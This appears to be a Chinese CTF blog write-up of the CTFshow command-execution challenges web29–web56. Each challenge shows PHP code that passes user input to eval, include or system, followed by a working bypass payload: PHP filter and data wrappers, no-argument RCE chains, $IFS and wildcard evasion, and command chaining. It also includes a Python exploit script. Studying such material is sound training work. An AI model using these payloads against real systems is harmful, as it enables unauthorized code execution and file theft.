【命令执行--持续更新】

扩展知识

preg_match()函数正则表达式

^:表示匹配字符串的开头。

$:表示匹配字符串的结尾。

.:匹配任意字符。

*:匹配前一个字符出现0次或多次。

+:匹配前一个字符出现1次或多次。

?:匹配前一个字符出现0次或1次,表示可选项。

[]:匹配方括号中任意一个字符,如'[abc]'表示匹配a、b、c中的任意一个字符。

d:匹配数字。

D:匹配非数字。

w:匹配任意字母、数字、下划线。

W:匹配非字母、数字、下划线。

参考文章:
https://www.php.cn/faq/568109.html

linux中的直接查看文件内容指令

cat、tac、more、less、head、tail、nl、sed、sort、uniq

在这里插入图片描述

比较厉害的例子:

举例
cat `ls` (该目录下存在index.php和flag.php,也就是此命令会扫描当前目录然后读取所有文件)
等效于
cat flag.php;cat index.php

grep名命令

(global search regular expression(RE) and print out the line,全面搜索正则表达式并把行打印出来)是一种强大的文本搜索工具,它能使用正则表达式搜索文本,并把匹配的行打印出来。

Unix的grep家族包括grep、egrep和fgrep。egrep和fgrep的命令只跟grep有很小不同。egrep是grep的扩展,支持更多的re元字符, fgrep就是fixed grep或fast grep,它们把所有的字母都看作单词,也就是说,正则表达式中的元字符表示回其自身的字面意义,不再特殊。linux使用GNU版本的grep。它功能更强,可以通过-G、-E、-F命令行选项来使用egrep和fgrep的功能。

基本使用方法

[root@www ~]# grep [-acinv] [--color=auto] '搜寻字符串' filename
选项与参数:
-a :将 binary 文件以 text 文件的方式搜寻数据
-c :计算找到 '搜寻字符串' 的次数
-i :忽略大小写的不同,所以大小写视为相同
-n :顺便输出行号
-v :反向选择,亦即显示出没有 '搜寻字符串' 内容的那一行!
--color=auto :可以将找到的关键词部分加上颜色的显示喔!

get_defined_vars()函数

<?php
$b = array(1,1,2,3,5,8);

$arr = get_defined_vars();

// 打印 $b
print_r($arr["b"]);

// 打印 PHP 解释程序的路径(如果 PHP 作为 CGI 使用的话)
// 例如:/usr/local/bin/php
echo $arr["_"];

// 打印命令行参数(如果有的话)
print_r($arr["argv"]);

// 打印所有服务器变量
print_r($arr["_SERVER"]);

// 打印变量数组的所有可用键值
print_r(array_keys(get_defined_vars()));
?>

执行后的结果

Array
(
    [0] => 1
    [1] => 1
    [2] => 2
    [3] => 3
    [4] => 5
    [5] => 8
)
Array
(
    [0] => /tmp/543750210/main.php
)
Array
(
    [PATH] => /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
    [HOSTNAME] => glot-runner
    [PHPIZE_DEPS] => autoconf         dpkg-dev         file         g++         gcc         libc-dev         make         pkg-config         re2c
    [PHP_INI_DIR] => /usr/local/etc/php
    [PHP_CFLAGS] => -fstack-protector-strong -fpic -fpie -O2
    [PHP_CPPFLAGS] => -fstack-protector-strong -fpic -fpie -O2
    [PHP_LDFLAGS] => -Wl,-O1 -Wl,--hash-style=both -pie
    [GPG_KEYS] => 1729F83938DA44E27BA0F4D3DBDB397470D12172 B1B44D8F021E4E2D6021E995DC9FF8D3EE5AF27F
    [PHP_VERSION] => 7.2.1
    [PHP_URL] => https://secure.php.net/get/php-7.2.1.tar.xz/from/this/mirror
    [PHP_ASC_URL] => https://secure.php.net/get/php-7.2.1.tar.xz.asc/from/this/mirror
    [PHP_SHA256] => 6c6cf82fda6660ed963821eb0525214bb3547e8e29f447b9c15b2d8e6efd8822
    [PHP_MD5] => 
    [HOME] => /home/glot
    [PHP_SELF] => /tmp/543750210/main.php
    [SCRIPT_NAME] => /tmp/543750210/main.php
    [SCRIPT_FILENAME] => /tmp/543750210/main.php
    [PATH_TRANSLATED] => /tmp/543750210/main.php
    [DOCUMENT_ROOT] => 
    [REQUEST_TIME_FLOAT] => 1524198667.12
    [REQUEST_TIME] => 1524198667
    [argv] => Array
        (
            [0] => /tmp/543750210/main.php
        )

    [argc] => 1
)
Array
(
    [0] => _GET
    [1] => _POST
    [2] => _COOKIE
    [3] => _FILES
    [4] => argv
    [5] => argc
    [6] => _SERVER
    [7] => b
    [8] => arr
)

scandir()

<?php
$dir = "/images/";

// 以升序排序 - 默认
$a = scandir($dir);

// 以降序排序
$b = scandir($dir,1);

print_r($a);
print_r($b);
?>
Array
(
[0] => .
[1] => ..
[2] => cat.gif
[3] => dog.gif
[4] => horse.gif
[5] => myimages
)
Array
(
[0] => myimages
[1] => horse.gif
[2] => dog.gif
[3] => cat.gif
[4] => ..
[5] => .
)

CTFshow 专题

web29 通配符?和*

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

过滤了get形式传参的c的关键字
禁用了flag关键字,但是没有禁用eval等敏感函数
在这里插入图片描述
我们直接采用eval把我们输入的代码当作一句话执行

实现一句话木马

使用system会导致服务器重置

?c=system('cat f*');//连接服务器被重置

利用反引号执行system函数命令,注意分号和echo回显
这里要注意反引号没有回显的功能,只有执行结果
在这里插入图片描述
在本地测试反引号,我想知道,这个反引号是linux系统的命令执行功能,是不是windows就会行不通了呢?
在这里插入图片描述
这个和什么系统无关,就是php本身的语言特性所决定的

测试一下system函数的回显功能,主要是对比反引号的无回显
system函数自带回显
在这里插入图片描述

web30 过滤system和php

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

字符串拼接
使用单引号进行绕过关键字

http://94205165-9b1d-442d-9649-e2d52c0baa17.challenge.ctf.show/?c=echo `tac fla''g.ph''p`;

web31重造变量

重造变量的方法

下面这样子是行不通的,因为eval只会把我们第一次输入当作php代码执行
在这里插入图片描述
所以,我们得要

http://da6c8345-78ff-4aaf-909e-88d3ee3e4e68.challenge.ctf.show/?c=eval($_GET[1]);&1=phpinfo();

在这里插入图片描述
这样就绕过了检测渠道

以get形式传入的1就可以任由我们进行输入了

我发现以get传参的时候system函数会被连接重置,我也不知道为什么会这样

在这里插入图片描述

web32 没有括号的函数include

这里过滤的东西就比较多了

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

不能有分号,括号

分号都被过滤的话,eval把我们输入的字符串就不能被完整的执行了,换句话说就是执行不了了

?>是php最后一句的地方可以用这个代替分号,表示语句执行完毕

找一个函数是不用括号的,那就是include函数

利用include文件包含漏洞结合php伪协议进行包含
payload

http://47f9d88e-261e-4333-a61c-6e577eb01553.challenge.ctf.show/?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

在这里插入图片描述

web33 include包含+php伪协议

多过滤了个双引号,可以继续引用上一题思路

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 02:22:27
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
    //相比上一题就只是过滤了多个双引号
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

payload

http://b5d27f31-69b0-4959-b8de-5e99de69b7bf.challenge.ctf.show/?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

web34 过滤冒号:

这一题过滤了冒号,但是还是不影响我们继续用上一个exp

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:29
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
  //if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

web35 过滤了一个尖括号

虽然叒过滤了<,但对参数c依旧无伤大雅,同上题

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:23
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
  //if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 
?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

web36 过滤数字和反斜杠

过滤了/和数字

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:16
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
  //if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

只要把上一个exp稍微改一下就可以了

http://85784c2b-9afe-46f4-be49-07982464a9d1.challenge.ctf.show/?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

web37 include+伪协议

文件包含漏洞include这个危险函数
我们可以结合php伪协议进行包含我们想要的内容

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 05:18:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
} 

include函数是没有回显的
所以这里输出的时候要加一个echo,不然include的时候就只是单独的执行这个php代码,但没有回显
在这里插入图片描述

利用data伪协议

http://0f53aecd-d9f4-489a-a12b-16e8c0b23d8b.challenge.ctf.show/?c=data://text/plain;base64,PD9waHAgZWNobyBgdGFjIGZsYWcucGhwYDs/Pg==

在这里插入图片描述
用system函数的时候,因为这个函数自带回显,可以不用加上echo
在这里插入图片描述

web38 data协议

没有过滤data协议我们可以继续用data协议

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 05:23:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
} 
http://0f53aecd-d9f4-489a-a12b-16e8c0b23d8b.challenge.ctf.show/?c=data://text/plain;base64,PD9waHAgZWNobyBgdGFjIGZsYWcucGhwYDs/Pg==

web39 data协议闭合

这里后面强制加了一个后缀,伪协议好像就行不通了!

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:13:21
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
} 

但是看了别人的wp后发现,还是可以用data伪协议的

该题自动为我们增加了后缀php,但依旧可以data协议

data://text/plain, 这样就相当于执行了php语句,

因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么作用
在这里插入图片描述
data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用

web40 只有字母rce,无参函数rce

过滤了许多字符,这里要用无参rce了

但是这里的rce还没那么难,我们还可以用英文字母


 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/


if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}

关于正则的一些特殊的地方解释


\\$因为它是在第一次就去掉了 \再放到正则中,接着它在正则中成了结束特殊字符作用
\\\\这个应该是匹配\\

常用的函数

1. localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
2. pos():返回数组中当前元素的值
3. scandir():获取目录下的文件
4. array_reverse():将数组逆序排列
5. next():函数将内部指针指向下一元素,并输出
6. show_source()函数对文件进行语法高亮显示,是highlight_file()别名。
7. print_r(scandir(.)); 查看当前目录下的所有文件名
8. current() 函数返回数组中的当前元素(单元),默认取第一个值,pos是current的别名
打印函数
1. print_r() 函数用于打印变量,以更容易理解的形式展示
2. get_defined_vars() 函数返回由所有已定义变量所组成的数组。

在这里插入图片描述
如上图看到有flag.php文件,处于倒数第二个位置

array_reverse() 函数以相反的元素顺序返回数组
 
next() 函数将内部指针指向数组中的下一个元素,并输出。
 
highlight_file() 函数对文件进行 PHP 语法高亮显示。语法通过使用 HTML 标签进行高亮。同时整个文件也会显示出来
 
//构造如下payload:
highlight_file(next(array_reverse((scandir(pos(localeconv()))))));
//上述先用第一个函数将数组元素顺序颠倒,随后用next函数,将指针指向flag的位置,最终用高亮显示,将了flag文件回显
 
或者
#pos()与current()作用相同 readfile()与作用相同highlight_file()
?c=readfile(next(array_reverse(scandir(current(localeconv())))));
 
#show_source()与作用相同highlight_file()
    ?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

show_source
在这里插入图片描述
highlight_file
在这里插入图片描述
readfile
在这里插入图片描述

web41留下了 | 运算

过滤了字母和数字,但是留下了 | 运算

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: 羽
# @Date:   2020-09-05 20:31:22
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:40:07
# @email: 1341963450@qq.com
# @link: https://ctf.show

*/

if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?> 

大佬的exp两个

# 生成可用字符的集合
# rce_or.php
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j <256 ; $j++) { 
 
		if($i<16){
			$hex_i='0'.dechex($i);
		}
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
		$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
					echo "";
    }
  
		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a)|urldecode($b));
		if (ord($c)>=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}
 
}
}
fwrite($myfile,$contents);
fclose($myfile);

python脚本

# 用法python exp.py <url>
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php")  #没有将php写入环境变量需手动运行
if(len(argv)!=2):
   print("="*50)
   print('USER:python exp.py <url>')
   print("eg:  python exp.py http://ctf.show/")
   print("="*50)
   exit(0)
url=argv[1]
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("rce_or.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"|\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
   data={
       'c':urllib.parse.unquote(param)
       }
   r=requests.post(url,data=data)
   print("\n[*] result:\n"+r.text)

在这里插入图片描述
kali实现的,本机种的python环境有问题,没有复现成功。

web42 命令分割

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 20:51:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
} 

这里先了解一下代码中的>/dev/null 2>&1

>/dev/null 2>&1的意思是 将参数返回的结果重定向到黑洞文件

1:> 代表重定向到哪里,例如:echo “123” > /home/123.txt
2:/dev/null 代表空设备文件
3:2> 表示stderr标准错误
4:& 表示等同于的意思,2>&1,表示2的输出重定向等同于1
5:1 表示stdout标准输出,系统默认值是1,所以">/dev/null"等同于 “1>/dev/null”
因此,>/dev/null 2>&1 也可以写成“1> /dev/null 2> &1”

这里进行;分号进行命令分割即可达到绕过的效果

http://f65c2717-8b32-4381-9618-0769092ab374.challenge.ctf.show/?c=ls /;ls

web43 命令分割

过滤了分号;我们还可以用其他分隔符 ||

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:32:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

exp

http://4cc3a1ff-eaf2-4400-9657-b569e64c0969.challenge.ctf.show/?c=ls / || ls

下面这个是截断的思想.
||表示要是前一个命令没有执行成功就执行后面一个

web44 换行截断

相比上一个多过滤了一个flag关键字,使用通配符绕过即可

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:32:01
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

这里尝试%00绕过对system函数不行,但是这里可以使用换行进行绕过

http://d7c0b05d-dacb-43e3-8cf3-bcddcf8d61f9.challenge.ctf.show/?c=tac fla*%0a

web45 %0a截断

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:35:34
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

不理解为什么这里用f*通配符不可以,但是查看当下的所有文件就可以
payload

?c=tac$IFS*%0a

在这里插入图片描述

这里除了换行截断,也可以使用或截断

http://432ade47-16e0-42ee-8ef3-c0f7190ff0e9.challenge.ctf.show/?c=tac$IFS*||ls

在这里插入图片描述

web46 单引号绕过尖括号

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:50:19
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

这一题过滤了通配符*,这一题也过滤了空格,虽然也过滤了flag,但是,对flag关键字的绕过的技巧还是有的,使用单引号绕过
fla’'g.php

空格的绕过技巧,这里过滤了$,可以使用尖括号进行绕过
payload

http://136a6f91-5b94-46b4-b5b7-758a971f218f.challenge.ctf.show/?c=tac<fla''g.php||ls

web47 关键字、空格绕过和命令截断

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:59:23
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

这里多过滤了一些linux的查看命令
使用的payload

http://f5c3b33e-8823-48d0-bcdc-7450fc549ffa.challenge.ctf.show/?c=tac<fla''g.php||ls

web48

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:06:20
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

还是在查看命令上做文章
上一个exp还可以继续使用

http://4dee63aa-5b24-4a06-874d-58636ebaa009.challenge.ctf.show/?c=tac<fla''g.php||ls

web49

这里相比上面过滤了多过滤了一个百分号%

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:22:43
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

但是不影响我们继续使用上一个payload

http://53526ebc-2dc8-4aff-812c-c3e3e058236c.challenge.ctf.show/?c=tac<fla''g.php||ls

web50

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:32:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

使用上一个payload依旧可行

web51 多重过滤

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:42:52
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

这里终于对tac做限制了,不过还有一个查看的方法也是听常用的

uniq,查看源代码既可以看到回显出的数据
这里只是替换tac,换汤不换药

http://62790517-e518-48e9-afe2-c325cb90173e.challenge.ctf.show/?c=uniq<fla''g.php||ls

在这里插入图片描述
与uniq的类似的功能还有nl

在这里插入图片描述
都要查看源代码
在这里插入图片描述

web52 多重过滤

相比上面多过滤了左右尖括号

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:50:30
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

注意这里flag的位置有发生改变
使用的payload

http://ef97b057-0dff-48a5-a459-be92dd435da5.challenge.ctf.show/?c=nl$IFS/fla''g||ls

web53 多重过滤

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 18:21:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
}

这里不知道为什么只能用${IFS},明明没有过滤$IFS

http://5d362ac2-47ef-4b48-ab10-39a880627ebd.challenge.ctf.show/?c=nl${IFS}fla''g.php

在这里插入图片描述

web54 通配符?*和命令的绝对路径调用

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 19:43:42
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
} 

这里过滤的关键字的挺彻底的,所以要换一个关键字来进行绕过,但是仔细一看,还是有遗漏的地方,虽然过滤*通配符,但是我们还是可以用?作为通配符使用

payload

http://396d3f88-0a74-47a4-ad2f-2d3e22bdcbc8.challenge.ctf.show/?c=uniq${IFS}f???????

payload2
利用linux系统的特点,找到这个命令所在位置,如/bin目录下的默认命令,通过绝对路径的指令来实现对单个命令的方式

/bin/?at${IFS}f???????

web55

过滤了字母

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 20:03:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

这个get形式传参的方式,对传入的值不能是字母,这里看了别的师傅的wp,有个很骚的思路
还是利用/bin目录下的指令

bin为binary的简写主要放置一些 系统的必备执行档例如:
cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等
这里我们可以利用 base64 中的64 进行通配符匹配 即 /bin/base64 flag.php

在这里插入图片描述
使用base64对flag.php进行加密同时使用?绕过字母的限制

payload

ttp://fec9b5da-77b1-4ff4-bdb9-f0f27cabc13e.challenge.ctf.show/?c=/???/????64 ????.???

这里为什么要用这个/bin/base64呢?

我认为这里主要是这个可以在通配符的作用下?也可以唯一确定。
在这里插入图片描述
然后解码
在这里插入图片描述

web56 无参rce+文件上传

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
} 

